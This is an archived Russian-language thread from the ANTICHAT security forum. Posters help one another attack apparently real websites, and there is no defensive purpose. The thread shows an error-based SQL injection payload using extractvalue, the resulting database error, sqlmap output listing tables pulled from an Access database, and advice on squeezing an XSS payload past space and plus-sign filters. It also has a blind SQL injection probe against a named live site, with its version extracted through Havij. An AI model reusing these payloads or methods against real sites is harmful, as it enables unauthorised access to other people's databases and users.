ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
29.12.2013, 22:49
|
|
Guest
Сообщений: n/a
Провел на форуме:
4404
Репутация:
0
|
|
Сообщение от GhostW
GhostW said:
С чего ты взял что там что-то есть?
Вывод ошибки есть.
|
|
|
|
29.12.2013, 23:25
|
|
Guest
Сообщений: n/a
Провел на форуме:
23349
Репутация:
45
|
|
Сообщение от Massay
Massay said:
Вывод ошибки есть. Только тогда когда вы авторизируетесь на сайте.
Без авторазции запрос - http://5.firepic.org/5/images/2013-12/29/3l1jmnodztsg.png
С авторизацию - http://5.firepic.org/5/images/2013-12/29/q8wgot3vlbg6.png
У меня в браезере что с вашей сессией, что без - кидает на второй скрин, ничего не меняется. Попробуйте выполнить
777") and extractvalue(1,concat(1,user()))=("1
Там вероятно update используется, хотя возможно и простая выборка.
|
|
|
|
30.12.2013, 00:26
|
|
Guest
Сообщений: n/a
Провел на форуме:
4404
Репутация:
0
|
|
Сообщение от Inoms
Inoms said:
777") and extractvalue(1,concat(1,user()))=("1
Там вероятно update используется, хотя возможно и простая выборка.
DB Error
You have an error in your SQL syntax;
|
|
|
|
30.12.2013, 00:32
|
|
Guest
Сообщений: n/a
Провел на форуме:
107835
Репутация:
23
|
|
Сообщение от Massay
Massay said:
DB Error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and extractvalue(1,concat(1,user()))=("1")' at line 1
чем передаешь POST-запросы? Не могу добиться выводы ошибки в Http Analyzer
|
|
|
|
30.12.2013, 00:44
|
|
Guest
Сообщений: n/a
Провел на форуме:
4404
Репутация:
0
|
|
POST запрос передаю через плагин в Мозиле, HackBar.
|
|
|
|
30.12.2013, 01:02
|
|
Guest
Сообщений: n/a
Провел на форуме:
23349
Репутация:
45
|
|
*Удалено по просьбе автора*
|
|
|
|
30.12.2013, 20:05
|
|
Guest
Сообщений: n/a
Провел на форуме:
2871
Репутация:
0
|
|
sqlmap вывел таблици
только вот кодировка непонятная не могу в нормальный вид вывести
помогите пожалуйста....
back-end DBMS: Microsoft Access
Database:
[2 tables]
+--------------------------------------------------------------+
| {AIP|h3I$ 0?QE?2§4%H87H FE\n>p |
| {AIP|\x154%\x12\x11H87H\x1fFE\\n>p |
+--------------------------------------------------------------+
|
|
|
|
30.12.2013, 20:16
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Сообщение от OxoTnik
OxoTnik said:
В общем атака посредством XSS
фильтры
Фильтруется побел
Фильтруется +
Ограничение на количество символов до 140 символов
Пробовал кодировать чтобы убрать пробелы, но не вписывался в количество символов
сам запрос вписывается в 36 символов, но присутствует 1 пробел
как обойти?
Вставка в параметр или в тело?
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
30 Символов. Если найти 5-буквенный домен, это 29. Может быть как-то еще закрывающий тег можно опустить.
P.S. Два слэша означают использование протокола сайта(HTTPS при HTTPS и HTTP при HTTP).
|
|
|
03.01.2014, 13:05
|
|
Guest
Сообщений: n/a
Провел на форуме:
17560
Репутация:
0
|
|
http://www.btlt.ru/comp/index.php?a=p&cat=8 and substring(@@version,1,1)=5
а дальше никак...!
окажите помощь!
|
|
|
|
03.01.2014, 19:26
|
|
Guest
Сообщений: n/a
Провел на форуме:
17560
Репутация:
0
|
|
Сообщение от er9j6@
er9j6@ said:
Вбиваешь в Havij, и крутишь
5.1.70-log
так неинтересно!
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид